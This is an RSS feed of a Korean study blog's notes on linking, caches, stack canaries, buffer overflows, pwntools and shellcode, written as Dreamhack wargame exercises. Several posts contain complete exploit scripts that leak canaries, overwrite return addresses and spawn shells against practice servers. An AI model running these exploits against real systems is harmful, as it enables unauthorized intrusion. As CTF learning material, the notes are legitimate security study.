<li>연관된 obj 파일들 하나로 묶어 관리, 아카이브라 불리며, 일종의 압축 파일</li>
<li>아카이브에 속한 파일의 정보 링커에게 알려주기 위한 인덱스 포함</li>
<li>링커는 순회하며 symbol 찾아야함<ol start="2">
<li>static library 만들기</li>
</ol>
</li>
<li>각각의 c 파일 각각의 relocate obj파일로 만든다</li>
<li>아카이브 통해 하나의 아카이브로 묶는다. 아카이브는 묶어주는 작업을 하는 프로그램<ol start="3">
<li>static 단점</li>
</ol>
</li>
<li>실행파일마다 라이브러리를 필요로 하므로 라이브러리 중복</li>
<li>실행파일 중복(실행프로그램 데이터의 중복)</li>
<li>라이브러리를 수정하면 모든 실행파일에 대해 Relink 해야함<Br>
4. 현대식 : Shared libraries</li>
<li>라이브러리 필요시 그때 그때 필요한 정보 빼오면 됨</li>
<li>필요한 정보 빼오기를 런타임에 수행<ul>
<li>런타임 중 printf 발견시 그 시점에 관련 정보 빼옴</li>
<li>과거에 메모리에 올려놓은 것이 있다면 그 정보 이용</li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[Memory of System]]></title>
            <link>https://velog.io/@gook_bob/Memory-of-System</link>
            <guid>https://velog.io/@gook_bob/Memory-of-System</guid>
            <pubDate>Wed, 01 Jan 2025 11:48:59 GMT</pubDate>
            <description><![CDATA[<h1 id="1-memry-hierarchy">1. Memry Hierarchy</h1>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/d60fe7fe-0507-4695-b2a3-21da87e12c7a/image.jpg" alt=""></p>
<ul>
<li>bus 가져오는 시간만 고려하더라도 register 안에 있는 값들 끼리의 연산이 빠르다</li>
</ul>
<blockquote>
<p>SSD(Solid State Disks)
<br></p>
</blockquote>
<ul>
<li>안에 flassh memory가 있고 블록들이 있으며 블록은 저마다 여러 Page 가짐</li>
<li>각 블록은 덮어쓰기가 안됨 : 데이터가 있는 경우 지운 후 update 하기 때문에 수명이 길지 않다.</li>
</ul>
<h2 id="1-1-locality">1-1 locality</h2>
<blockquote>
<ol>
<li>시간 지역성(Temporal) : 한번 접근한 메모리 위치에 대해 가까운 미래에 다시 접근할 확률이 높은 것<ul>
<li>루프에서 반복적으로 사용되는 변수, 배열의 경우<br>
2. 공간 지역성(Spatial) : 한번 접근한 메모리 위치의 근처에 있는 메모리 위치에 가까운 미래에 접근할 확률이 높은 것 의미
- 배열 순차 접근, 구조체 필드 참조시
<br></li>
</ul>
</li>
<li>지역성 높을수록 : CPU Cache hit rate이 높아져 프로그램의 실행속도 빨라짐</li>
</ol>
</blockquote>
<h2 id="1-2-general-cache-concepts">1-2 General Cache Concepts</h2>
<ul>
<li><p>CPu 연산 속도, Memory에서 가져오는 속도 간의 차이 -&gt; 병목 현상 발생</p>
<blockquote>
<ul>
<li>Cache hit : 캐시에 있을경우</li>
</ul>
</blockquote>
</li>
<li><p>Cache miss : 없을경우(메모리에서 찾는다)</p>
</li>
<li><p>Cach Memories</p>
</li>
</ul>
<blockquote>
<ol>
<li>캐시 먼저 검사후 있으면 가져감, 없으면 메모리에 request -&gt; 느려짐</li>
<li>캐시의 세트수 S = 2 ^ s</li>
<li>집합의 선(블록) 수 K = 2 ^ k</li>
<li>한줄의 바이트 수 : B = 2 ^ b</li>
<li>캐시 사이즈 C = E B S</li>
</ol>
</blockquote>
<ul>
<li>특정 주소 읽어오는 과정 </li>
</ul>
<blockquote>
<ol>
<li>tag : 캐시에서 해당 line 찾는데 사용</li>
<li>set index : 캐시의 행중 몇번째 줄인지, 몇번째 set인지 가리킴</li>
<li>block offset : line안에서 Meta data 저장하고 있는 Bbytes 공간안에서 세부적으로 정확히 어떤 데이터를 가리키는지 저장</li>
</ol>
</blockquote>
<br>

<h3 id="1-2-1-e--1">1-2-1 E = 1</h3>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/cbd09bce-2601-497a-86b9-e567b0550e78/image.jpg" alt=""></p>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/cf39688c-6292-4ec3-a493-dd43e948d368/image.jpg" alt=""></p>
<blockquote>
<ol>
<li>set offset : 00...01 = 2번째 행</li>
<li>100 : 4번째 행부터, Int : 4bytes 크기만큼 가져온다</li>
<li>마지막으로 valid, tag 확인<ul>
<li>tag 정확 but valid 0 : 기존의 값이 오래된 데이터 저장 -&gt; 새로운 데이터로 덮어씌움</li>
<li>반대 : 다른 사람이 쓰고 있다, 다른거 쓰던지 다른방법으로 처리</li>
</ul>
</li>
</ol>
</blockquote>
<br>

<h3 id="시나리오-1">시나리오 1</h3>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/ec1f6a5c-80ff-4313-9b70-b03c7cf04595/image.jpg" alt=""></p>
<blockquote>
<ol>
<li>0000 : tag = 0, set = 00, block = 0<ul>
<li>v = 0 -&gt; miss<ul>
<li>맨처음 캐시에 접근하는 경우는 무조건 Miss</li>
</ul>
</li>
<li>set 0 : valid = 1, tag = 0, block = M[0-1]<br></li>
</ul>
</li>
<li>0001 : tag = 0, set = 00, block = 0</li>
</ol>
</blockquote>
<ul>
<li>v = 1, tag = 0 -&gt; hit<br>
3. 0111 : tag = 0, set = 11, block = 1</li>
<li>set 3 : valie = 0 -&gt; miss</li>
<li>set 3 : valid = 1, tag = 0, blcok = M[6-7]<br>
4. 1000 : tag = 1, set = 0, block = 0</li>
<li>기존 set 0 : valid, tag = 0 -&gt; tag 일치하지 않으므로 -&gt; miss</li>
<li>새로운 tag값 입력 set 0 : v = 1, tag = 1, block = M[8-9]<br>
5. 0000 : tag = 0, set = 0, block = 0
- 방금 8접근으로 인한 Tag값 변경 -> miss
- set 0 : valid = 1, set = 0, block = M[0-1]

</li>
</ul>
<br>

<h3 id="1-2-2-e--2">1-2-2 E = 2</h3>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/89cbb1ee-67dd-4362-b2bd-d02084e36e9a/image.jpg" alt=""></p>
<ul>
<li>E = 2 =&gt; columns = 2</li>
</ul>
<blockquote>
<p>안쓰이는 Tag에 사용가능</p>
</blockquote>
<ul>
<li>Types of Cache Misses</li>
</ul>
<blockquote>
<ol>
<li>Cold(Compulsory) miss : 캐시 비어있을 때 -&gt; 첫번째 접근 miss(부팅시 캐시 X)</li>
<li>Capacity miss : 캐시 용량 부족</li>
</ol>
</blockquote>
<ul>
<li>프로그램 수행시 접근하는 데이터의 야이 캐시의 사이즈 넘어갈 경우<ol start="3">
<li>conflict : set의 way 부족</li>
</ol>
</li>
</ul>
<br> 

<h3 id="시나리오-2">시나리오 2</h3>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/e194a2da-d106-47ea-904e-60519c7ed038/image.jpg" alt=""></p>
<ul>
<li>set offset 2 -&gt; 1, tag 1-&gt; 2</li>
</ul>
<blockquote>
<ol>
<li>00 0 0: tag 00, set0, block 0</li>
</ol>
</blockquote>
<ul>
<li>set 0 : 비어있는 상태 -&gt; miss</li>
<li>set 0 : v = 1, tag = 00, blockoffset = M[0-1]<Br>
2. 00 0 1 : set 0, tag 00</li>
<li>set 0 : v = 1, tag = 00 -&gt; hit<br>
3. 01 1 1 : set 1, tag = 01</li>
<li>set 1 : empty -&gt; miss</li>
<li>set1 : v = 1, tag = 01, block offset M[6-7]<br>
4. 10 0 0 : set 0, tag 10</li>
<li>set 0 : v = 1, tag 매칭 x -&gt; miss</li>
<li>빈자리 tag 10 설정<br>
5. 00 0 0 : 10 0 0 이 다른 영역 init했기 때문에 Hit

</li>
</ul>
<br> 

<h2 id="1-3-캐시-성능-분석-위한-단위">1-3 캐시 성능 분석 위한 단위</h2>
<blockquote>
<ol>
<li>Miss Rate</li>
</ol>
</blockquote>
<ul>
<li>메모리에서 가져온 비율<br>
2. Hit Time</li>
<li>L1 : 4 clock</li>
<li>l2 : 10 clock</li>
<li>hit time 보다 데이터를 빨리 가져올 수 없음<br>
3. Miss Penalty</li>
<li>데이터 못가져오는 경우 L3 or Main memory에서 가져와야함</li>
<li>50, 200 cycles<br>
4. Hit rate 계산 : cache hit time 1 cycle, miss penalty 100 cycles라 가정</li>
<li>97% hit : 1 + 0.03 * 100 = 4</li>
<li>99% hit : 1 + 0.01 * 100 = 2 </li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[드림핵 -시스템] Stack Canary]]></title>
            <link>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%8B%9C%EC%8A%A4%ED%85%9C-Stack-Canary</link>
            <guid>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%8B%9C%EC%8A%A4%ED%85%9C-Stack-Canary</guid>
            <pubDate>Thu, 26 Dec 2024 12:50:01 GMT</pubDate>
            <description><![CDATA[<h1 id="1-about-stack-canary">1. About Stack Canary</h1>
<h2 id="11-what-is-it">1.1 What is it?</h2>
<blockquote>
<p>스택 버퍼 오버플로우로 부터 반환 주소를 보호하는 기법</p>
</blockquote>
<h2 id="12-카나리-비활성화">1.2 카나리 비활성화</h2>
<blockquote>
<p>-fno-stack-protector 옵션 추가</p>
<blockquote>
<p>gcc -o file_name file_name.c -fno-stack-protector</p>
</blockquote>
</blockquote>
<h2 id="13-fs">1.3 fs</h2>
<blockquote>
<ul>
<li>TLS(Thread Local Storage)를 참조하는 세그먼트 레지스터</li>
</ul>
</blockquote>
<ul>
<li>리눅스 프로세스 시작시 fs:0x28에 랜덤 값 저장 -&gt; rbp-0x8에 최종 저장</li>
<li>확인법 : xor rcx, fs:0x28 통해서 같지 않으면 에러메세지 출력 -&gt; stack canary</li>
</ul>
<blockquote>
<p><strong>fs확인법</strong></p>
</blockquote>
<ul>
<li>info register fs, print $fs 불가능</li>
<li>arch_prctl(int code, unsinged long addr) 시스템 콜에 중단점 설정하여 fs어떤값으로 설정되는지 조사<ul>
<li>arch_prctl(ARCH_SET_FS, addr) 형태 호출시 addr로 설정됨<ol>
<li>gdb&#39;s command of catch</li>
</ol>
<ul>
<li>특정 이벤트 발생시 프로세스 중지</li>
</ul>
</li>
<li>catch syscall arch_prctl 이후 실행 -&gt; init_tls() 도달할때까지 continue</li>
</ul>
</li>
</ul>
<ol start="2">
<li>gdb&#39;s commadn of watch<ul>
<li>특정 주소에 저장된 값 변경되면 프로세스 중단</li>
<li>rdi : ARCH_SET_FS 값</li>
<li>rsi : addr 값이 해당 레지스터에 저장되어 있는 주소값</li>
</ul>
</li>
</ol>
<blockquote>
<p>*<em>canary 첫바이트 null byte인 이유 *</em></p>
</blockquote>
<ul>
<li>버그 발생하여 strcpy등 함수 통해 스택 복사하게 될 때, 널 바이트 통해 카나리 값과 그 이후의 스택값이 유출되지 않게 하기 위함</li>
</ul>
<h2 id="13-카나리-우회">1.3 카나리 우회</h2>
<h3 id="1brute-force">1.Brute Force</h3>
<blockquote>
<p>진짜 서버 대상으로 하기에는 비효율적</p>
</blockquote>
<h3 id="2-tls-접근">2. TLS 접근</h3>
<blockquote>
<ul>
<li>카나리는 TLS에 저장되며 카나리에 의해 보호되는 함수마다 이를 참조해서 사용</li>
</ul>
</blockquote>
<ul>
<li>매 실행마다 바뀌지만 실행중 주소 알 수 있고, 임의 주소에 대한 읽기, 쓰기가 가능한경우<ul>
<li>이후 스택 버퍼 오버플로우 수행시 알아낸 카나리 값 또한 조작한 카나리 값으로 스택 카나리 덮으면 함수의 에필로그에 있는 카나리 검사 우회 가능 (이후 실습 통해 다룰것)</li>
</ul>
</li>
</ul>
<h3 id="3-스택-카나리-릭">3. 스택 카나리 릭</h3>
<blockquote>
<p>nullptr 까지 입력하여 버퍼에 입력하여 카나리 주소를 유출시켜 해당 주소를 통해서 exploit</p>
</blockquote>
<h1 id="2-return-to-shellcode">2. Return to shellcode</h1>
<h2 id="21-code-분석">2.1 code 분석</h2>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
    char buf[0x50];

    init();

    printf(&quot;Address of the buf: %p\n&quot;, buf);
    printf(&quot;Distance between buf and $rbp: %ld\n&quot;,
           (char*)__builtin_frame_address(0) - buf);

    printf(&quot;[1] Leak the canary\n&quot;);
    printf(&quot;Input: &quot;);
    fflush(stdout);

    read(0, buf, 0x100);
    printf(&quot;Your input is &#39;%s&#39;\n&quot;, buf);

    puts(&quot;[2] Overwrite the return address&quot;);
    printf(&quot;Input: &quot;);
    fflush(stdout);
    gets(buf);

    return 0;
}
</code></pre>
<blockquote>
<ul>
<li>해당 코드를 보며 알 수 있는 내용 </li>
</ul>
</blockquote>
<ol>
<li>buf의 주소를 알려줌 (매 실행마다 바뀜)</li>
<li>buf &lt;-&gt; $rbp(sfp) 거리를 알려줌 <ul>
<li>sfp - 8 = canary</li>
</ul>
</li>
</ol>
<h2 id="22-exploit-code">2.2 exploit code</h2>
<pre><code class="language-python">#! /usr/bin/python3 

from pwn import *

def slog(n, m):
    return success(&#39;:&#39;.join([n, hex(m)]))

p = process(&#39;./r2s&#39;)

context.arch = &#39;amd64&#39;

p.recvuntil(b&#39;buf: &#39;)
buf = int(p.recvline()[:-1], 16)
slog(&#39;Address of buf&#39;, buf)

p.recvuntil(b&#39;$rbp: &#39;)
buf2sfp = int(p.recvline()[:-1])
buf2cnry = buf2sfp - 8

slog(&#39;buf &lt;=&gt; sfp&#39;, buf2sfp)
slog(&#39;buf &lt;=&gt; canary&#39;, buf2cnry)

payload = b&#39;A&#39; * (buf2cnry +1)
p.sendafter(b&#39;Input:&#39;, payload)
p.recvuntil(payload)

cnry = u64(b&#39;\x00&#39; + p.recvn(7))
slog(&#39;Addressof canary&#39;, cnry)

sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b&#39;A&#39;) + p64(cnry) + b&#39;B&#39;*0x8 + p64(buf)
p.sendlineafter(b&#39;Input:&#39;,payload)

p.interactive()</code></pre>
<blockquote>
<ol>
<li>slog함수 : 2번째 arg의 값을 16진수로 바꿔서 출력</li>
<li>shellcraft.sh() : /bin/sh 에 접근할수 있는 쉘코드 자동 작성</li>
<li>1st payload : Canary leak 위한 작업 =&gt; 버퍼 채우기 + nullbyte값까지 채우기 -&gt; 나머지 7byte 알수 있음</li>
<li>2nd payload<ul>
<li>sh.ljust(buf2cnry, b&#39;A&#39;) =&gt; 쉘코드를 buf2cnry만큼의 공간에 왼쪽부터 채우고 남는 공간은 b&#39;A&#39;로 채운다 =&gt; 버퍼 채우기</li>
<li>p64(cnry) : packing</li>
<li>b&#39;B&#39; * 0x8 : sfp 채우기</li>
<li>p64(buf) : ret 주소를 buf로 하여 shellcode 실행</li>
</ul>
</li>
</ol>
</blockquote>
<br>

<h1 id="3ssp_001">3.SSP_001</h1>
<h2 id="31-코드-분석">3.1 코드 분석</h2>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;signal.h&gt;
#include &lt;unistd.h&gt;
void alarm_handler() {
    puts(&quot;TIME OUT&quot;);
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system(&quot;/bin/sh&quot;);
}
void print_box(unsigned char *box, int idx) {
    printf(&quot;Element of index %d is : %02x\n&quot;, idx, box[idx]);
}
void menu() {
    puts(&quot;[F]ill the box&quot;);
    puts(&quot;[P]rint the box&quot;);
    puts(&quot;[E]xit&quot;);
    printf(&quot;&gt; &quot;);
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case &#39;F&#39;:
                printf(&quot;box input : &quot;);
                read(0, box, sizeof(box));
                break;
            case &#39;P&#39;:
                printf(&quot;Element index : &quot;);
                scanf(&quot;%d&quot;, &amp;idx);
                print_box(box, idx);
                break;
            case &#39;E&#39;:
                printf(&quot;Name Size : &quot;);
                scanf(&quot;%d&quot;, &amp;name_len);
                printf(&quot;Name : &quot;);
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}</code></pre>
<blockquote>
<ol>
<li>F / P / E 중 하나를 입력을 받은 후 각각에 알맞은 함수를 호출한다.</li>
<li>alarm 설정 되어있고 30초안에 끝내야함</li>
</ol>
</blockquote>
<h2 id="32-취약점">3.2 취약점</h2>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/57c3f682-2cd0-4f4c-b7a0-d6b258a3910a/image.png" alt=""></p>
<blockquote>
<ol>
<li>E : name 버퍼의 사이즈를 사용자가 직접 할당 가능</li>
<li>P : index에 따라서 해당 버퍼에 저장된 hexbyte 출력</li>
</ol>
</blockquote>
<h2 id="33-버퍼-스택-구조-요약">3.3 버퍼, 스택 구조 요약</h2>
<ul>
<li>(Low) 
box(64bytes) -&gt; name(64bytes) -&gt; canary(4bytes) -&gt; dummy(4bytes) -&gt; sfp(4bytes) -&gt; ret(4bytes)
(High)</li>
</ul>
<h2 id="34-exploit-code">3.4 exploit code</h2>
<pre><code class="language-python">#! /usr/bin/python3 

from pwn import *

def slog(name, addr):
  return success(&quot; : &quot;.join([name, hex(addr)]))

p = remote(&quot;host1.dreamhack.games&quot;, 11999)

e = ELF(&#39;./ssp_001&#39;)

get_shell = e.symbols[&#39;get_shell&#39;]

#Canary leak

canary = b&quot;&quot;

i = 131
while i &gt;= 128:
  p.sendlineafter(&quot;&gt; &quot;, &#39;P&#39;)
  p.sendlineafter(&quot;Element index : &quot;, str(i))
  p.recvuntil(&quot;is : &quot;)
  canary += p.recvn(2)
  i -= 1

canary = int(canary, 16)
slog(&quot;canary&quot;, canary)


#BOF
payload = b&#39;A&#39; * 64
payload += p32(canary)
payload += b&#39;A&#39; * 8
payload += p32(get_shell)

p.sendlineafter(&quot;&gt; &quot;, &#39;E&#39;)
p.sendlineafter(&quot;Name Size : &quot;, str(1000))
p.sendlineafter(&quot;Name : &quot;, payload)

p.interactive()</code></pre>
<blockquote>
<ol>
<li>ELF (Executable and Linkable Format) 에서 get_shell의 symbol(주소) 가져온다</li>
<li>canary 주소 파악 : box(64) + name(64) =&gt; 128 ~ 131 little endian으로 packing 작업 위해 뒤에서 부터 가져온다</li>
<li>payload 작성 name(64) + canary + dummy(8bytes) + ret(4, get_shell)</li>
</ol>
</blockquote>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/1ed98024-0759-4e74-b1a2-b4376f4266c5/image.png" alt=""></p>
<blockquote>
<p>위의 Payload에서 dummy 추가한 이유 </p>
</blockquote>
<ol>
<li>ebp = 0x00000000</li>
<li>ebp-0x8 = canary = 0x42825d0</li>
<li>little-endian 32 이기 떄문에 canary 4bytes 
=&gt; 즉 canary, ebp(sfp) 사이의 dummy 채워줘야함</li>
<li>Ret = 0xf7d92d97 -&gt; get_shell로 overwirte 작업 수행할 공간</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[[드림핵 - 시스템] Stack Buffer Overflow]]></title>
            <link>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%8B%9C%EC%8A%A4%ED%85%9C-Stack-Buffer-Overflow</link>
            <guid>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%8B%9C%EC%8A%A4%ED%85%9C-Stack-Buffer-Overflow</guid>
            <pubDate>Sat, 23 Nov 2024 03:50:56 GMT</pubDate>
            <description><![CDATA[<h1 id="1-overflow">1. Overflow</h1>
<h2 id="11-stack-overflow-vs-stack-buffer-overflow">1.1 Stack Overflow Vs Stack Buffer Overflow</h2>
<blockquote>
<p>전자 : 스택 영역이 너무 많이 확장되어 발생하는 버그
후자 : 스택에 위치한 버퍼의 크기보다 많은 데이터가 입력되어 발생하는 버그</p>
</blockquote>
<blockquote>
<p>버퍼 : 데이터가 목적지로 이동되기 전에 보관되는 임시 저장소</p>
</blockquote>
<br>

<h1 id="2-dreamhack-return-address-overwirte-취약점">2 Dreamhack Return Address Overwirte 취약점</h1>
<ul>
<li><p>scanf(&quot;%s&quot;, buf)</p>
<blockquote>
<p>%s 는 문자열을 입력 받을때 사용</p>
<ul>
<li>입력의 길이 제한하지 않는다 (공백문자 : 띄어쓰기, 탭, 개행 문자 등) 올때 까지 계속 입력받음)<br></li>
<li>%s 절대 사용 금지 =&gt; &quot;%[n]s&quot; 형태로 사용할 것!!</li>
</ul>
</blockquote>
<ul>
<li><p>이외에도 취약한 것들 : 버퍼를 다루지만, 길이를 입력하지 않는 함수들</p>
<blockquote>
<p>strcpy, strcat, sprntf</p>
<ul>
<li>보완 =&gt; 버퍼의 크기를 같이 입력하는 것 <ul>
<li>strncpy, strncat, snprintf, fgets, memcpy emdZ</li>
</ul>
</li>
</ul>
</blockquote>
</li>
<li><p>Index-Out-Of-Bound(OOB) : 참조하려는 인덱스 값이 배열의 크기보다 커지는 현상</p>
</li>
<li><p>Segmentation fault : 프로그램이 잘못된 메모리 주소에 접근했다는 의미</p>
<blockquote>
<p>해당에러 발생후 &quot;/var/lib/apport/coredump&quot; 경로에 코어 파일 생성 </p>
<ul>
<li>생성되지 않은경우 해당명령어 실행
<code>$ ulimit -c unlimited</code> </li>
</ul>
</blockquote>
</li>
</ul>
<br>

</li>
</ul>
<h2 id="2-1-exploit">2-1 exploit</h2>
<ul>
<li>해당 코드에서는 scanf를 위해 buf 공간 0x30만큼 할당 return address 와 거리는 0x38만큼 차이</li>
<li>get_shell 함수의 주소 확인 <blockquote>
<p>gdb 실행 후 -&gt; print get_shell</p>
</blockquote>
</li>
</ul>
<pre><code class="language-python">#! /usr/bin/python3

from pwn import *

p = remote(&#39;host3.dreamhack.games&#39;, 21657)

elf = ELF(&#39;./rao&#39;)
get_shell = elf.symbols[&#39;get_shell&#39;]

payload = b&#39;A&#39;*0x30            //쓰레기값
payload += b&#39;B&#39;*0x8            //쓰레기값
payload += p64(get_shell)    //return address 삽입(little endian으로)

p.sendline(payload)

p.interactive()                //셸 획득후 셸에서 command 입력</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[[드림핵 -시스템] pwntools]]></title>
            <link>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%8B%9C%EC%8A%A4%ED%85%9C-pwntools</link>
            <guid>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%8B%9C%EC%8A%A4%ED%85%9C-pwntools</guid>
            <pubDate>Sat, 23 Nov 2024 03:14:21 GMT</pubDate>
            <description><![CDATA[<h1 id="1-pwntools">1. pwntools</h1>
<h2 id="1-1-install">1-1 install</h2>
<blockquote>
<pre><code class="language-bash">$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools</code></pre>
</blockquote>
<pre><code>
- 해당 메서드를 차례대로 실행시 3번째 줄에서 막힐수도 있을 것이다. 그럴때 해당 명령어 사용
``` $ python3 -m pip config set global.break-system-packages true```


&lt;br&gt;

## 1-2 instruction of pwntools API

- 공식 : https://docs.pwntools.com/en/latest/
- 해당 정리 노트는 dreamhack 강의 페이지 참조

### 1. process &amp; remote
- process : 로컬 바이너리 대상으로
  - 익스플로잇 테스트, 디버깅 목적
  &lt;br&gt; 
- remote : 원격 서버 대상
  - 서버 실제로 공격 목적

```python
from pwn import *
p = process(&quot;./test&quot;)
p = remote(&quot;example.com&quot;, port_num)</code></pre><br> 

<h3 id="2-send">2. send</h3>
<ul>
<li>프로세스에 데이터 전송하기 위해 사용<pre><code class="language-python">from pwn import *
p = process(&#39;./test&#39;)
</code></pre>
</li>
</ul>
<p>p.send(b&#39;A&#39;)  # ./test에 b&#39;A&#39;를 입력
p.sendline(b&#39;A&#39;) # ./test에 b&#39;A&#39; + b&#39;\n&#39;을 입력
p.sendafter(b&#39;hello&#39;, b&#39;A&#39;)  # ./test가 b&#39;hello&#39;를 출력하면, b&#39;A&#39;를 입력
p.sendlineafter(b&#39;hello&#39;, b&#39;A&#39;)  # ./test가 b&#39;hello&#39;를 출력하면, b&#39;A&#39; + b&#39;\n&#39;을 입력</p>
<pre><code>
&lt;br&gt;

### 3. recv 
- 프로세스에서 데이터 받기 위해 사용
- recv(n) : n바이트만큼 받겠다. 못받아도 error X
- recvn(n) : 정확히 n 바이트의 데이터를 받지 못하면 계속 기다림

```python
from pwn import *
p = process(&#39;./test&#39;)

data = p.recv(1024)  # p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline()  # p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장
data = p.recvn(5)  # p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil(b&#39;hello&#39;)  # p가 b&#39;hello&#39;를 출력할 때까지 데이터를 수신하여 data에 저장
data = p.recvall()  # p가 출력하는 데이터를 프로세스가 종료될 때까지 받아서 data에 저장</code></pre><br>

<h3 id="4-packing-unpacking">4. packing, unpacking</h3>
<ul>
<li><p>어떤 값을 엔디언 형식으로 변경 혹은 그 반대로 변경 시 사용</p>
<blockquote>
<p>p : packing</p>
<ul>
<li>p32 / p64(0x12345678) -&gt; \0x00\0x00... \0x78\0x56\0x34\0x12</li>
</ul>
</blockquote>
<ul>
<li>little(default), p64(..., endiand = &#39;big&#39;)</li>
</ul>
<blockquote>
<p>u : unpacking</p>
</blockquote>
<ul>
<li>u32 / u64(&quot;\0x78\0x56...&quot;) -&gt; 0x12345678</li>
</ul>
<br>

</li>
</ul>
<h3 id="5--interactive">5.  interactive</h3>
<ul>
<li>셸 획득해 특정상황에 직접 입력 주면서 출력 확인하고 싶을때 사용</li>
<li>터미널에 직접 데이터 입력, 프로세스 출력 확인 가능</li>
</ul>
<pre><code class="language-python">from pwn import *
p = process(&#39;./test&#39;)
p.interactive()</code></pre>
<br>

<h3 id="6-contextarch">6. context.arch</h3>
<ul>
<li>공격 대상의 아키텍쳐 설정<pre><code class="language-python">from pwn import *
context.arch = &quot;amd64&quot; # x86-64 아키텍처
context.arch = &quot;i386&quot;  # x86 아키텍처
context.arch = &quot;arm&quot;   # arm 아키텍처</code></pre>
</li>
</ul>
<br>

<h3 id="7-shellcraft">7. shellcraft</h3>
<ul>
<li>공격에 필요한 셸 코드를 쉽게 꺼내 쓸수 있게 해줌</li>
<li>단점 : 정적으로 생성된 셸코드는 셸 코드가 실행될 때의 메모리 상태 반영 못함</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[드림핵 - 시스템]Shellcode]]></title>
            <link>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%8B%9C%EC%8A%A4%ED%85%9CShellcode</link>
            <guid>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%8B%9C%EC%8A%A4%ED%85%9CShellcode</guid>
            <pubDate>Sat, 23 Nov 2024 02:33:43 GMT</pubDate>
            <description><![CDATA[<h1 id="1-용어-정리">1. 용어 정리</h1>
<blockquote>
<ol>
<li>셸코드 : 익스플로잇 위해 제작된 어셈블리 코드 조각<ul>
<li>rip를 자신이 작성한 셸코드로 옮기는 것이 중요</li>
</ul>
</li>
<li>exploit : 시스템 공격하는 행위</li>
<li>orw shell code : 파일 열고, 읽은 뒤 화면에 출력하는 셸코드</li>
</ol>
</blockquote>
<h2 id="1-1-orw-shell-code">1-1 orw shell code</h2>
<pre><code class="language-c">#define    0_RDONLY    0
#define    0_WRONLY    1
#define    0_RDWR        2

Char buf[0x30];

Int fd = open(“/tmp/flag”, RD_ONLY, NULL);
read(fd, but, 0x30);
write(1, buf, 0x30);
</code></pre>
<h3 id="1-1-1-syscall-정리">1-1-1 syscall 정리</h3>
<h4 id="1-open">1. open</h4>
<blockquote>
<ul>
<li>rax : 0x02</li>
<li>rdi : const char *filename</li>
<li>rsi : int flags</li>
<li>rdx : umode_t mode </li>
</ul>
</blockquote>
<blockquote>
<p>Int fd = open(“/tmp/flag”, RD_ONLY, NULL);</p>
</blockquote>
<ul>
<li>&quot;/tmp/flag&quot; 문자열을 메모리에 위치시켜야함 이후 리틀엔디안형식으로 변환</li>
<li>stack은 8바이트 단위로만 값 push 가능 8바이트 단위로 나누어줌</li>
<li>rsi : 0 =&gt; xor rsi, rsi / mov rsi, 0</li>
<li>rdx : mode = 0 -&gt; mov rdx, 0 / xor rdx, rdx</li>
<li>rax : mov rax, 0x2</li>
</ul>
<br>


<h4 id="2-read">2. read</h4>
<blockquote>
<ul>
<li>rax : 0x00</li>
<li>arg0(rdi) : unsigned int fd</li>
<li>arg1(rsi) : char *buf</li>
<li>arg2(rdx) : size_t count</li>
</ul>
</blockquote>
<blockquote>
<p>read(fd, but, 0x30);</p>
</blockquote>
<ul>
<li>open의 return 값은 %rax로 저장 =&gt; mov %rdi, %rax</li>
<li>rsi : 데이터 저장할 주소 : 0x30만큼 읽을 것 =&gt; mov rsi, rsp / sub rsi, 0x30</li>
<li>rdx : 0x30 =&gt; mov rdx, 0x30</li>
<li>read수행 위해 rax 0으로 설정 =&gt; mov rax, 0 / xor rax, rax</li>
</ul>
<br>

<h4 id="3-write">3. write</h4>
<blockquote>
<ul>
<li>rax : 0x01</li>
<li>rdi : unsigned int fd</li>
<li>rsi : const char *buf</li>
<li>rdx : size_t count</li>
</ul>
</blockquote>
<blockquote>
<p>write(1, buf, 0x30);</p>
</blockquote>
<ul>
<li>rdi 0x1로 설정 =&gt; fd = 1 / 0 = 일반 입력 / 1 = 일반 출력 / 2 = 일반 오류</li>
<li>rsi, rdx 그대로</li>
<li>mov rax, 1 </li>
</ul>
<h1 id="2-shell_basic">2. Shell_basic</h1>
